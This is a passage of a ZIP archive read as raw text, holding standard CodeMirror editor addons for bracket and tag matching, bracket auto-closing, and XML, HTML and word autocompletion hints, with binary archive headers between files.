e.push(a.markText(g.from,m(g.from.line,g.from.ch+1),{className:n}));g.to&&a.getLine(g.to.line).length<=d&&e.push(a.markText(g.to,m(g.to.line,g.to.ch+1),{className:n}))}}if(e.length)if(w&&a.state.focused&&a.focus(),b=function(){a.operation(function(){for(var a=0;a<e.length;a++)e[a].clear()})},c)setTimeout(b,800);else return b}function v(a){a.operation(function(){f&&(f(),f=null);f=u(a,!1,a.state.matchBrackets)})}var w=/MSIE \d/.test(navigator.userAgent)&&(null==document.documentMode||8>document.documentMode),
m=d.Pos,n={"(":")>",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<"},f=null;d.defineOption("matchBrackets",!1,function(a,c,b){b&&b!=d.Init&&(a.off("cursorActivity",v),f&&(f(),f=null));c&&(a.state.matchBrackets="object"==typeof c?c:{},a.on("cursorActivity",v))});d.defineExtension("matchBrackets",function(){u(this,!0)});d.defineExtension("findMatchingBracket",function(a,c,b){if(b||"boolean"==typeof c)b?(b.strict=c,c=b):c=c?{strict:!0}:null;return q(this,a,c)});d.defineExtension("scanForBracket",function(a,
c,b,d){return t(this,a,c,b,d)})});
PK     ]t]lØ=F4	  4	  )  assets/codemirror/addon/edit/matchtags.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../fold/xml-fold"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../fold/xml-fold"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineOption("matchTags", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.off("cursorActivity", doMatchTags);
      cm.off("viewportChange", maybeUpdateMatch);
      clear(cm);
    }
    if (val) {
      cm.state.matchBothTags = typeof val == "object" && val.bothTags;
      cm.on("cursorActivity", doMatchTags);
      cm.on("viewportChange", maybeUpdateMatch);
      doMatchTags(cm);
    }
  });

  function clear(cm) {
    if (cm.state.tagHit) cm.state.tagHit.clear();
    if (cm.state.tagOther) cm.state.tagOther.clear();
    cm.state.tagHit = cm.state.tagOther = null;
  }

  function doMatchTags(cm) {
    cm.state.failedTagMatch = false;
    cm.operation(function() {
      clear(cm);
      if (cm.somethingSelected()) return;
      var cur = cm.getCursor(), range = cm.getViewport();
      range.from = Math.min(range.from, cur.line); range.to = Math.max(cur.line + 1, range.to);
      var match = CodeMirror.findMatchingTag(cm, cur, range);
      if (!match) return;
      if (cm.state.matchBothTags) {
        var hit = match.at == "open" ? match.open : match.close;
        if (hit) cm.state.tagHit = cm.markText(hit.from, hit.to, {className: "CodeMirror-matchingtag"});
      }
      var other = match.at == "close" ? match.open : match.close;
      if (other)
        cm.state.tagOther = cm.markText(other.from, other.to, {className: "CodeMirror-matchingtag"});
      else
        cm.state.failedTagMatch = true;
    });
  }

  function maybeUpdateMatch(cm) {
    if (cm.state.failedTagMatch) doMatchTags(cm);
  }

  CodeMirror.commands.toMatchingTag = function(cm) {
    var found = CodeMirror.findMatchingTag(cm, cm.getCursor());
    if (found) {
      var other = found.at == "close" ? found.open : found.close;
      if (other) cm.extendSelection(other.to, other.from);
    }
  };
});
PK     ]t]ùXÎŠ÷  ÷  -  assets/codemirror/addon/edit/closebrackets.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var defaults = {
    pairs: "()[]{}''\"\"",
    triples: "",
    explode: "[]{}"
  };

  var Pos = CodeMirror.Pos;

  CodeMirror.defineOption("autoCloseBrackets", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      cm.removeKeyMap(keyMap);
      cm.state.closeBrackets = null;
    }
    if (val) {
      ensureBound(getOption(val, "pairs"))
      cm.state.closeBrackets = val;
      cm.addKeyMap(keyMap);
    }
  });

  function getOption(conf, name) {
    if (name == "pairs" && typeof conf == "string") return conf;
    if (typeof conf == "object" && conf[name] != null) return conf[name];
    return defaults[name];
  }

  var keyMap = {Backspace: handleBackspace, Enter: handleEnter};
  function ensureBound(chars) {
    for (var i = 0; i < chars.length; i++) {
      var ch = chars.charAt(i), key = "'" + ch + "'"
      if (!keyMap[key]) keyMap[key] = handler(ch)
    }
  }
  ensureBound(defaults.pairs + "`")

  function handler(ch) {
    return function(cm) { return handleChar(cm, ch); };
  }

  function getConfig(cm) {
    var deflt = cm.state.closeBrackets;
    if (!deflt || deflt.override) return deflt;
    var mode = cm.getModeAt(cm.getCursor());
    return mode.closeBrackets || deflt;
  }

  function handleBackspace(cm) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || pairs.indexOf(around) % 2 != 0) return CodeMirror.Pass;
    }
    for (var i = ranges.length - 1; i >= 0; i--) {
      var cur = ranges[i].head;
      cm.replaceRange("", Pos(cur.line, cur.ch - 1), Pos(cur.line, cur.ch + 1), "+delete");
    }
  }

  function handleEnter(cm) {
    var conf = getConfig(cm);
    var explode = conf && getOption(conf, "explode");
    if (!explode || cm.getOption("disableInput")) return CodeMirror.Pass;

    var ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      if (!ranges[i].empty()) return CodeMirror.Pass;
      var around = charsAround(cm, ranges[i].head);
      if (!around || explode.indexOf(around) % 2 != 0) return CodeMirror.Pass;
    }
    cm.operation(function() {
      var linesep = cm.lineSeparator() || "\n";
      cm.replaceSelection(linesep + linesep, null);
      cm.execCommand("goCharLeft");
      ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var line = ranges[i].head.line;
        cm.indentLine(line, null, true);
        cm.indentLine(line + 1, null, true);
      }
    });
  }

  function contractSelection(sel) {
    var inverted = CodeMirror.cmpPos(sel.anchor, sel.head) > 0;
    return {anchor: new Pos(sel.anchor.line, sel.anchor.ch + (inverted ? -1 : 1)),
            head: new Pos(sel.head.line, sel.head.ch + (inverted ? 1 : -1))};
  }

  function handleChar(cm, ch) {
    var conf = getConfig(cm);
    if (!conf || cm.getOption("disableInput")) return CodeMirror.Pass;

    var pairs = getOption(conf, "pairs");
    var pos = pairs.indexOf(ch);
    if (pos == -1) return CodeMirror.Pass;
    var triples = getOption(conf, "triples");

    var identical = pairs.charAt(pos + 1) == ch;
    var ranges = cm.listSelections();
    var opening = pos % 2 == 0;

    var type;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], cur = range.head, curType;
      var next = cm.getRange(cur, Pos(cur.line, cur.ch + 1));
      if (opening && !range.empty()) {
        curType = "surround";
      } else if ((identical || !opening) && next == ch) {
        if (identical && stringStartsAfter(cm, cur))
          curType = "both";
        else if (triples.indexOf(ch) >= 0 && cm.getRange(cur, Pos(cur.line, cur.ch + 3)) == ch + ch + ch)
          curType = "skipThree";
        else
          curType = "skip";
      } else if (identical && cur.ch > 1 && triples.indexOf(ch) >= 0 &&
                 cm.getRange(Pos(cur.line, cur.ch - 2), cur) == ch + ch) {
        if (cur.ch > 2 && /\bstring/.test(cm.getTokenTypeAt(Pos(cur.line, cur.ch - 2)))) return CodeMirror.Pass;
        curType = "addFour";
      } else if (identical) {
        var prev = cur.ch == 0 ? " " : cm.getRange(Pos(cur.line, cur.ch - 1), cur)
        if (!CodeMirror.isWordChar(next) && prev != ch && !CodeMirror.isWordChar(prev)) curType = "both";
        else return CodeMirror.Pass;
      } else if (opening && (cm.getLine(cur.line).length == cur.ch ||
                             isClosingBracket(next, pairs) ||
                             /\s/.test(next))) {
        curType = "both";
      } else {
        return CodeMirror.Pass;
      }
      if (!type) type = curType;
      else if (type != curType) return CodeMirror.Pass;
    }

    var left = pos % 2 ? pairs.charAt(pos - 1) : ch;
    var right = pos % 2 ? ch : pairs.charAt(pos + 1);
    cm.operation(function() {
      if (type == "skip") {
        cm.execCommand("goCharRight");
      } else if (type == "skipThree") {
        for (var i = 0; i < 3; i++)
          cm.execCommand("goCharRight");
      } else if (type == "surround") {
        var sels = cm.getSelections();
        for (var i = 0; i < sels.length; i++)
          sels[i] = left + sels[i] + right;
        cm.replaceSelections(sels, "around");
        sels = cm.listSelections().slice();
        for (var i = 0; i < sels.length; i++)
          sels[i] = contractSelection(sels[i]);
        cm.setSelections(sels);
      } else if (type == "both") {
        cm.replaceSelection(left + right, null);
        cm.triggerElectric(left + right);
        cm.execCommand("goCharLeft");
      } else if (type == "addFour") {
        cm.replaceSelection(left + left + left + left, "before");
        cm.execCommand("goCharRight");
      }
    });
  }

  function isClosingBracket(ch, pairs) {
    var pos = pairs.lastIndexOf(ch);
    return pos > -1 && pos % 2 == 1;
  }

  function charsAround(cm, pos) {
    var str = cm.getRange(Pos(pos.line, pos.ch - 1),
                          Pos(pos.line, pos.ch + 1));
    return str.length == 2 ? str : null;
  }

  function stringStartsAfter(cm, pos) {
    var token = cm.getTokenAt(Pos(pos.line, pos.ch + 1))
    return /\bstring/.test(token.type) && token.start == pos.ch &&
      (pos.ch == 0 || !/\bstring/.test(cm.getTokenTypeAt(pos)))
  }
});
PK     ]t]^°¬o  o  *  assets/codemirror/addon/hint/show-hint.cssnu ÕIw¶´        .CodeMirror-hints {
  position: absolute;
  z-index: 10;
  overflow: hidden;
  list-style: none;

  margin: 0;
  padding: 2px;

  -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  border-radius: 3px;
  border: 1px solid silver;

  background: white;
  font-size: 90%;
  font-family: monospace;

  max-height: 20em;
  overflow-y: auto;
}

.CodeMirror-hint {
  margin: 0;
  padding: 0 4px;
  border-radius: 2px;
  white-space: pre;
  color: black;
  cursor: pointer;
}

li.CodeMirror-hint-active {
  background: #08f;
  color: white;
}
PK     ]t]:û„6    (  assets/codemirror/addon/hint/xml-hint.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;

  function getHints(cm, options) {
    var tags = options && options.schemaInfo;
    var quote = (options && options.quoteChar) || '"';
    if (!tags) return;
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (inner.mode.name != "xml") return;
    var result = [], replaceToken = false, prefix;
    var tag = /\btag\b/.test(token.type) && !/>$/.test(token.string);
    var tagName = tag && /^\w/.test(token.string), tagStart;

    if (tagName) {
      var before = cm.getLine(cur.line).slice(Math.max(0, token.start - 2), token.start);
      var tagType = /<\/$/.test(before) ? "close" : /<$/.test(before) ? "open" : null;
      if (tagType) tagStart = token.start - (tagType == "close" ? 2 : 1);
    } else if (tag && token.string == "<") {
      tagType = "open";
    } else if (tag && token.string == "</") {
      tagType = "close";
    }

    if (!tag && !inner.state.tagName || tagType) {
      if (tagName)
        prefix = token.string;
      replaceToken = tagType;
      var cx = inner.state.context, curTag = cx && tags[cx.tagName];
      var childList = cx ? curTag && curTag.children : tags["!top"];
      if (childList && tagType != "close") {
        for (var i = 0; i < childList.length; ++i) if (!prefix || childList[i].lastIndexOf(prefix, 0) == 0)
          result.push("<" + childList[i]);
      } else if (tagType != "close") {
        for (var name in tags)
          if (tags.hasOwnProperty(name) && name != "!top" && name != "!attrs" && (!prefix || name.lastIndexOf(prefix, 0) == 0))
            result.push("<" + name);
      }
      if (cx && (!prefix || tagType == "close" && cx.tagName.lastIndexOf(prefix, 0) == 0))
        result.push("</" + cx.tagName + ">");
    } else {
      // Attribute completion
      var curTag = tags[inner.state.tagName], attrs = curTag && curTag.attrs;
      var globalAttrs = tags["!attrs"];
      if (!attrs && !globalAttrs) return;
      if (!attrs) {
        attrs = globalAttrs;
      } else if (globalAttrs) { // Combine tag-local and global attributes
        var set = {};
        for (var nm in globalAttrs) if (globalAttrs.hasOwnProperty(nm)) set[nm] = globalAttrs[nm];
        for (var nm in attrs) if (attrs.hasOwnProperty(nm)) set[nm] = attrs[nm];
        attrs = set;
      }
      if (token.type == "string" || token.string == "=") { // A value
        var before = cm.getRange(Pos(cur.line, Math.max(0, cur.ch - 60)),
                                 Pos(cur.line, token.type == "string" ? token.start : token.end));
        var atName = before.match(/([^\s\u00a0=<>\"\']+)=$/), atValues;
        if (!atName || !attrs.hasOwnProperty(atName[1]) || !(atValues = attrs[atName[1]])) return;
        if (typeof atValues == 'function') atValues = atValues.call(this, cm); // Functions can be used to supply values for autocomplete widget
        if (token.type == "string") {
          prefix = token.string;
          var n = 0;
          if (/['"]/.test(token.string.charAt(0))) {
            quote = token.string.charAt(0);
            prefix = token.string.slice(1);
            n++;
          }
          var len = token.string.length;
          if (/['"]/.test(token.string.charAt(len - 1))) {
            quote = token.string.charAt(len - 1);
            prefix = token.string.substr(n, len - 2);
          }
          replaceToken = true;
        }
        for (var i = 0; i < atValues.length; ++i) if (!prefix || atValues[i].lastIndexOf(prefix, 0) == 0)
          result.push(quote + atValues[i] + quote);
      } else { // An attribute name
        if (token.type == "attribute") {
          prefix = token.string;
          replaceToken = true;
        }
        for (var attr in attrs) if (attrs.hasOwnProperty(attr) && (!prefix || attr.lastIndexOf(prefix, 0) == 0))
          result.push(attr);
      }
    }
    return {
      list: result,
      from: replaceToken ? Pos(cur.line, tagStart == null ? token.start : tagStart) : cur,
      to: replaceToken ? Pos(cur.line, token.end) : cur
    };
  }

  CodeMirror.registerHelper("hint", "xml", getHints);
});
PK     ]t]S|µ§%>  %>  )  assets/codemirror/addon/hint/show-hint.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var HINT_ELEMENT_CLASS        = "CodeMirror-hint";
  var ACTIVE_HINT_ELEMENT_CLASS = "CodeMirror-hint-active";

  // This is the old interface, kept around for now to stay
  // backwards-compatible.
  CodeMirror.showHint = function(cm, getHints, options) {
    if (!getHints) return cm.showHint(options);
    if (options && options.async) getHints.async = true;
    var newOpts = {hint: getHints};
    if (options) for (var prop in options) newOpts[prop] = options[prop];
    return cm.showHint(newOpts);
  };

  CodeMirror.defineExtension("showHint", function(options) {
    options = parseOptions(this, this.getCursor("start"), options);
    var selections = this.listSelections()
    if (selections.length > 1) return;
    // By default, don't allow completion when something is selected.
    // A hint function can have a `supportsSelection` property to
    // indicate that it can handle selections.
    if (this.somethingSelected()) {
      if (!options.hint.supportsSelection) return;
      // Don't try with cross-line selections
      for (var i = 0; i < selections.length; i++)
        if (selections[i].head.line != selections[i].anchor.line) return;
    }

    if (this.state.completionActive) this.state.completionActive.close();
    var completion = this.state.completionActive = new Completion(this, options);
    if (!completion.options.hint) return;

    CodeMirror.signal(this, "startCompletion", this);
    completion.update(true);
  });

  function Completion(cm, options) {
    this.cm = cm;
    this.options = options;
    this.widget = null;
    this.debounce = 0;
    this.tick = 0;
    this.startPos = this.cm.getCursor("start");
    this.startLen = this.cm.getLine(this.startPos.line).length - this.cm.getSelection().length;

    var self = this;
    cm.on("cursorActivity", this.activityFunc = function() { self.cursorActivity(); });
  }

  var requestAnimationFrame = window.requestAnimationFrame || function(fn) {
    return setTimeout(fn, 1000/60);
  };
  var cancelAnimationFrame = window.cancelAnimationFrame || clearTimeout;

  Completion.prototype = {
    close: function() {
      if (!this.active()) return;
      this.cm.state.completionActive = null;
      this.tick = null;
      this.cm.off("cursorActivity", this.activityFunc);

      if (this.widget && this.data) CodeMirror.signal(this.data, "close");
      if (this.widget) this.widget.close();
      CodeMirror.signal(this.cm, "endCompletion", this.cm);
    },

    active: function() {
      return this.cm.state.completionActive == this;
    },

    pick: function(data, i) {
      var completion = data.list[i];
      if (completion.hint) completion.hint(this.cm, data, completion);
      else this.cm.replaceRange(getText(completion), completion.from || data.from,
                                completion.to || data.to, "complete");
      CodeMirror.signal(data, "pick", completion);
      this.close();
    },

    cursorActivity: function() {
      if (this.debounce) {
        cancelAnimationFrame(this.debounce);
        this.debounce = 0;
      }

      var pos = this.cm.getCursor(), line = this.cm.getLine(pos.line);
      if (pos.line != this.startPos.line || line.length - pos.ch != this.startLen - this.startPos.ch ||
          pos.ch < this.startPos.ch || this.cm.somethingSelected() ||
          (pos.ch && this.options.closeCharacters.test(line.charAt(pos.ch - 1)))) {
        this.close();
      } else {
        var self = this;
        this.debounce = requestAnimationFrame(function() {self.update();});
        if (this.widget) this.widget.disable();
      }
    },

    update: function(first) {
      if (this.tick == null) return
      var self = this, myTick = ++this.tick
      fetchHints(this.options.hint, this.cm, this.options, function(data) {
        if (self.tick == myTick) self.finishUpdate(data, first)
      })
    },

    finishUpdate: function(data, first) {
      if (this.data) CodeMirror.signal(this.data, "update");

      var picked = (this.widget && this.widget.picked) || (first && this.options.completeSingle);
      if (this.widget) this.widget.close();

      this.data = data;

      if (data && data.list.length) {
        if (picked && data.list.length == 1) {
          this.pick(data, 0);
        } else {
          this.widget = new Widget(this, data);
          CodeMirror.signal(data, "shown");
        }
      }
    }
  };

  function parseOptions(cm, pos, options) {
    var editor = cm.options.hintOptions;
    var out = {};
    for (var prop in defaultOptions) out[prop] = defaultOptions[prop];
    if (editor) for (var prop in editor)
      if (editor[prop] !== undefined) out[prop] = editor[prop];
    if (options) for (var prop in options)
      if (options[prop] !== undefined) out[prop] = options[prop];
    if (out.hint.resolve) out.hint = out.hint.resolve(cm, pos)
    return out;
  }

  function getText(completion) {
    if (typeof completion == "string") return completion;
    else return completion.text;
  }

  function buildKeyMap(completion, handle) {
    var baseMap = {
      Up: function() {handle.moveFocus(-1);},
      Down: function() {handle.moveFocus(1);},
      PageUp: function() {handle.moveFocus(-handle.menuSize() + 1, true);},
      PageDown: function() {handle.moveFocus(handle.menuSize() - 1, true);},
      Home: function() {handle.setFocus(0);},
      End: function() {handle.setFocus(handle.length - 1);},
      Enter: handle.pick,
      Tab: handle.pick,
      Esc: handle.close
    };
    var custom = completion.options.customKeys;
    var ourMap = custom ? {} : baseMap;
    function addBinding(key, val) {
      var bound;
      if (typeof val != "string")
        bound = function(cm) { return val(cm, handle); };
      // This mechanism is deprecated
      else if (baseMap.hasOwnProperty(val))
        bound = baseMap[val];
      else
        bound = val;
      ourMap[key] = bound;
    }
    if (custom)
      for (var key in custom) if (custom.hasOwnProperty(key))
        addBinding(key, custom[key]);
    var extra = completion.options.extraKeys;
    if (extra)
      for (var key in extra) if (extra.hasOwnProperty(key))
        addBinding(key, extra[key]);
    return ourMap;
  }

  function getHintElement(hintsElement, el) {
    while (el && el != hintsElement) {
      if (el.nodeName.toUpperCase() === "LI" && el.parentNode == hintsElement) return el;
      el = el.parentNode;
    }
  }

  function Widget(completion, data) {
    this.completion = completion;
    this.data = data;
    this.picked = false;
    var widget = this, cm = completion.cm;

    var hints = this.hints = document.createElement("ul");
    hints.className = "CodeMirror-hints";
    this.selectedHint = data.selectedHint || 0;

    var completions = data.list;
    for (var i = 0; i < completions.length; ++i) {
      var elt = hints.appendChild(document.createElement("li")), cur = completions[i];
      var className = HINT_ELEMENT_CLASS + (i != this.selectedHint ? "" : " " + ACTIVE_HINT_ELEMENT_CLASS);
      if (cur.className != null) className = cur.className + " " + className;
      elt.className = className;
      if (cur.render) cur.render(elt, data, cur);
      else elt.appendChild(document.createTextNode(cur.displayText || getText(cur)));
      elt.hintId = i;
    }

    var pos = cm.cursorCoords(completion.options.alignWithWord ? data.from : null);
    var left = pos.left, top = pos.bottom, below = true;
    hints.style.left = left + "px";
    hints.style.top = top + "px";
    // If we're at the edge of the screen, then we want the menu to appear on the left of the cursor.
    var winW = window.innerWidth || Math.max(document.body.offsetWidth, document.documentElement.offsetWidth);
    var winH = window.innerHeight || Math.max(document.body.offsetHeight, document.documentElement.offsetHeight);
    (completion.options.container || document.body).appendChild(hints);
    var box = hints.getBoundingClientRect(), overlapY = box.bottom - winH;
    var scrolls = hints.scrollHeight > hints.clientHeight + 1
    var startScroll = cm.getScrollInfo();

    if (overlapY > 0) {
      var height = box.bottom - box.top, curTop = pos.top - (pos.bottom - box.top);
      if (curTop - height > 0) { // Fits above cursor
        hints.style.top = (top = pos.top - height) + "px";
        below = false;
      } else if (height > winH) {
        hints.style.height = (winH - 5) + "px";
        hints.style.top = (top = pos.bottom - box.top) + "px";
        var cursor = cm.getCursor();
        if (data.from.ch != cursor.ch) {
          pos = cm.cursorCoords(cursor);
          hints.style.left = (left = pos.left) + "px";
          box = hints.getBoundingClientRect();
        }
      }
    }
    var overlapX = box.right - winW;
    if (overlapX > 0) {
      if (box.right - box.left > winW) {
        hints.style.width = (winW - 5) + "px";
        overlapX -= (box.right - box.left) - winW;
      }
      hints.style.left = (left = pos.left - overlapX) + "px";
    }
    if (scrolls) for (var node = hints.firstChild; node; node = node.nextSibling)
      node.style.paddingRight = cm.display.nativeBarWidth + "px"

    cm.addKeyMap(this.keyMap = buildKeyMap(completion, {
      moveFocus: function(n, avoidWrap) { widget.changeActive(widget.selectedHint + n, avoidWrap); },
      setFocus: function(n) { widget.changeActive(n); },
      menuSize: function() { return widget.screenAmount(); },
      length: completions.length,
      close: function() { completion.close(); },
      pick: function() { widget.pick(); },
      data: data
    }));

    if (completion.options.closeOnUnfocus) {
      var closingOnBlur;
      cm.on("blur", this.onBlur = function() { closingOnBlur = setTimeout(function() { completion.close(); }, 100); });
      cm.on("focus", this.onFocus = function() { clearTimeout(closingOnBlur); });
    }

    cm.on("scroll", this.onScroll = function() {
      var curScroll = cm.getScrollInfo(), editor = cm.getWrapperElement().getBoundingClientRect();
      var newTop = top + startScroll.top - curScroll.top;
      var point = newTop - (window.pageYOffset || (document.documentElement || document.body).scrollTop);
      if (!below) point += hints.offsetHeight;
      if (point <= editor.top || point >= editor.bottom) return completion.close();
      hints.style.top = newTop + "px";
      hints.style.left = (left + startScroll.left - curScroll.left) + "px";
    });

    CodeMirror.on(hints, "dblclick", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {widget.changeActive(t.hintId); widget.pick();}
    });

    CodeMirror.on(hints, "click", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {
        widget.changeActive(t.hintId);
        if (completion.options.completeOnSingleClick) widget.pick();
      }
    });

    CodeMirror.on(hints, "mousedown", function() {
      setTimeout(function(){cm.focus();}, 20);
    });

    CodeMirror.signal(data, "select", completions[this.selectedHint], hints.childNodes[this.selectedHint]);
    return true;
  }

  Widget.prototype = {
    close: function() {
      if (this.completion.widget != this) return;
      this.completion.widget = null;
      this.hints.parentNode.removeChild(this.hints);
      this.completion.cm.removeKeyMap(this.keyMap);

      var cm = this.completion.cm;
      if (this.completion.options.closeOnUnfocus) {
        cm.off("blur", this.onBlur);
        cm.off("focus", this.onFocus);
      }
      cm.off("scroll", this.onScroll);
    },

    disable: function() {
      this.completion.cm.removeKeyMap(this.keyMap);
      var widget = this;
      this.keyMap = {Enter: function() { widget.picked = true; }};
      this.completion.cm.addKeyMap(this.keyMap);
    },

    pick: function() {
      this.completion.pick(this.data, this.selectedHint);
    },

    changeActive: function(i, avoidWrap) {
      if (i >= this.data.list.length)
        i = avoidWrap ? this.data.list.length - 1 : 0;
      else if (i < 0)
        i = avoidWrap ? 0  : this.data.list.length - 1;
      if (this.selectedHint == i) return;
      var node = this.hints.childNodes[this.selectedHint];
      node.className = node.className.replace(" " + ACTIVE_HINT_ELEMENT_CLASS, "");
      node = this.hints.childNodes[this.selectedHint = i];
      node.className += " " + ACTIVE_HINT_ELEMENT_CLASS;
      if (node.offsetTop < this.hints.scrollTop)
        this.hints.scrollTop = node.offsetTop - 3;
      else if (node.offsetTop + node.offsetHeight > this.hints.scrollTop + this.hints.clientHeight)
        this.hints.scrollTop = node.offsetTop + node.offsetHeight - this.hints.clientHeight + 3;
      CodeMirror.signal(this.data, "select", this.data.list[this.selectedHint], node);
    },

    screenAmount: function() {
      return Math.floor(this.hints.clientHeight / this.hints.firstChild.offsetHeight) || 1;
    }
  };

  function applicableHelpers(cm, helpers) {
    if (!cm.somethingSelected()) return helpers
    var result = []
    for (var i = 0; i < helpers.length; i++)
      if (helpers[i].supportsSelection) result.push(helpers[i])
    return result
  }

  function fetchHints(hint, cm, options, callback) {
    if (hint.async) {
      hint(cm, callback, options)
    } else {
      var result = hint(cm, options)
      if (result && result.then) result.then(callback)
      else callback(result)
    }
  }

  function resolveAutoHints(cm, pos) {
    var helpers = cm.getHelpers(pos, "hint"), words
    if (helpers.length) {
      var resolved = function(cm, callback, options) {
        var app = applicableHelpers(cm, helpers);
        function run(i) {
          if (i == app.length) return callback(null)
          fetchHints(app[i], cm, options, function(result) {
            if (result && result.list.length > 0) callback(result)
            else run(i + 1)
          })
        }
        run(0)
      }
      resolved.async = true
      resolved.supportsSelection = true
      return resolved
    } else if (words = cm.getHelper(cm.getCursor(), "hintWords")) {
      return function(cm) { return CodeMirror.hint.fromList(cm, {words: words}) }
    } else if (CodeMirror.hint.anyword) {
      return function(cm, options) { return CodeMirror.hint.anyword(cm, options) }
    } else {
      return function() {}
    }
  }

  CodeMirror.registerHelper("hint", "auto", {
    resolve: resolveAutoHints
  });

  CodeMirror.registerHelper("hint", "fromList", function(cm, options) {
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    var to = CodeMirror.Pos(cur.line, token.end);
    if (token.string && /\w/.test(token.string[token.string.length - 1])) {
      var term = token.string, from = CodeMirror.Pos(cur.line, token.start);
    } else {
      var term = "", from = to;
    }
    var found = [];
    for (var i = 0; i < options.words.length; i++) {
      var word = options.words[i];
      if (word.slice(0, term.length) == term)
        found.push(word);
    }

    if (found.length) return {list: found, from: from, to: to};
  });

  CodeMirror.commands.autocomplete = CodeMirror.showHint;

  var defaultOptions = {
    hint: CodeMirror.hint.auto,
    completeSingle: true,
    alignWithWord: true,
    closeCharacters: /[\s()\[\]{};:>,]/,
    closeOnUnfocus: true,
    completeOnSingleClick: true,
    container: null,
    customKeys: null,
    extraKeys: null
  };

  CodeMirror.defineOption("hintOptions", null);
});
PK     ]t]],å�  �  ,  assets/codemirror/addon/hint/anyword-hint.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var WORD = /[\w$]+/, RANGE = 500;

  CodeMirror.registerHelper("hint", "anyword", function(editor, options) {
    var word = options && options.word || WORD;
    var range = options && options.range || RANGE;
    var cur = editor.getCursor(), curLine = editor.getLine(cur.line);
    var end = cur.ch, start = end;
    while (start && word.test(curLine.charAt(start - 1))) --start;
    var curWord = start != end && curLine.slice(start, end);

    var list = options && options.list || [], seen = {};
    var re = new RegExp(word.source, "g");
    for (var dir = -1; dir <= 1; dir += 2) {
      var line = cur.line, endLine = Math.min(Math.max(line + dir * range, editor.firstLine()), editor.lastLine()) + dir;
      for (; line != endLine; line += dir) {
        var text = editor.getLine(line), m;
        while (m = re.exec(text)) {
          if (line == cur.line && m[0] === curWord) continue;
          if ((!curWord || m[0].lastIndexOf(curWord, 0) == 0) && !Object.prototype.hasOwnProperty.call(seen, m[0])) {
            seen[m[0]] = true;
            list.push(m[0]);
          }
        }
      }
    }
    return {list: list, from: CodeMirror.Pos(cur.line, start), to: CodeMirror.Pos(cur.line, end)};
  });
});
PK     ]t]’kFM,  M,  )  assets/codemirror/addon/hint/html-hint.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./xml-hint"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./xml-hint"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

